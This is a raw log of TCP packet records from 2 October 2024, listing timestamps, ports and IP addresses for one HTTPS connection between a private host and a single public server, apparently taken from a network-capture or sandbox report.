Oct 2, 2024 06:11:42.186861038 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.186867952 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.186880112 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.186907053 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.187190056 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.187206984 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.187247992 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.187254906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.187269926 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.187294006 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.274967909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.275007010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.275111914 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.275130987 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.275160074 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.275175095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.275221109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.275238037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.275290966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.275296926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.275336027 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.276065111 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.276081085 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.276124001 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.276129961 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.276154041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.276173115 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.276643038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.276658058 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.276726961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.276732922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.276793003 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.277216911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.277234077 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.277285099 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.277291059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.277331114 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.277849913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.277863979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.277929068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.277935028 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.277972937 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.278134108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.278151989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.278189898 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.278194904 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.278223038 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.278235912 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.278661966 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.278681993 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.278716087 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.278719902 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.278750896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.278768063 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.296466112 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.365750074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.365772963 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.365849972 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.365856886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.365890026 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.365906954 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.366267920 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.366281986 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.366333961 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.366344929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.366384983 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.367255926 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.367270947 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.367320061 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.367326021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.367355108 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.367372990 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.367640972 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.367659092 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.367697001 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.367702007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.367727995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.367743969 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.367752075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.367765903 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.367809057 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.367813110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.367839098 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.367850065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.368352890 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.368369102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.368401051 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.368406057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.368438005 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.368454933 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.368875980 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.368890047 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.368968964 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.368968964 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.368974924 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.369038105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.369395018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.369410992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.369446039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.369451046 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.369488001 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.369510889 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.456480980 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.456507921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.456562042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.456569910 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.456604958 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.456624985 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.457015038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.457031012 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.457099915 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.457108974 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.457146883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.457623005 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.457643032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.457699060 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.457704067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.457726955 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.457743883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.458204985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.458223104 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.458261967 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.458266973 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.458297014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.458323002 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.458666086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.458683014 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.458739042 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.458745003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.458786011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.459199905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.459220886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.459270954 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.459275007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.459311008 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.459317923 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.459975004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.460000038 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.460037947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.460042953 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.460084915 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.460084915 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.460091114 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.460105896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.460129023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.460144997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.460150003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.460181952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.460201979 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.547175884 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.547209024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.547257900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.547265053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.547312021 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.547647953 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.547673941 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.547713995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.547719002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.547753096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.547766924 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.548305988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.548337936 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.548387051 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.548393011 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.548440933 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.548851967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.548875093 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.548937082 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.548943996 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.548953056 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.548984051 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.549666882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.549690008 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.549731016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.549735069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.549746990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.549763918 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.549772978 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.549782038 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.549788952 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.549804926 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.549845934 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.550100088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.550153971 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.550211906 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.550268888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.550493956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.550513983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.550549984 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.550554991 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.550586939 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.550609112 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.637875080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.637904882 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.637957096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.637964964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.638022900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.638099909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.638123035 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.638159990 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.638164043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.638187885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.638211966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.638850927 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.638875961 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.638915062 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.638919115 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.638966084 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.638988972 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.639358044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.639395952 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.639434099 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.639439106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.639473915 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.639494896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.639799118 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.639822960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.639883995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.639889956 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.639931917 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.640120983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.640144110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.640181065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.640186071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.640221119 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.640244007 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.640455008 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.640506983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.640526056 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.640530109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.640558958 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.640582085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.640789986 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.640845060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.640861988 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.640873909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.640908957 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.640933037 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.647097111 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.728519917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.728554964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.728600979 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.728610039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.728673935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.729052067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.729077101 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.729120970 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.729125977 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.729149103 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.729166985 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.729533911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.729554892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.729598045 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.729602098 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.729634047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.729655981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.729696989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.729717970 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.729749918 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.729753017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.729798079 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.729816914 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.730128050 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.730148077 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.730185986 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.730190992 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.730228901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.730251074 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.730621099 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.730640888 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.730674982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.730679035 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.730706930 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.730726004 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.731235027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.731256962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.731287956 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.731292963 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.731323957 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.731340885 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.731740952 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.731761932 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.731811047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.731817007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.731868029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.819448948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.819478989 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.819541931 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.819560051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.819595098 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.819608927 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.820250988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.820271969 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.820319891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.820324898 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.820378065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.820404053 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.820751905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.820772886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.820842981 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.820847988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.820894957 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.821146965 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.821167946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.821207047 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.821211100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.821243048 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.821260929 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.821614981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.821631908 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.821691990 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.821696997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.821743011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.822077990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.822097063 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.822133064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.822138071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.822169065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.822196960 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.822788954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.822809935 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.822851896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.822855949 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.822881937 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.822892904 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.823615074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.823636055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.823674917 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.823679924 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.823714018 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.823728085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:42.909837961 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:42.909876108 CEST	443	49723	167.114.14.168	192.168.2.8
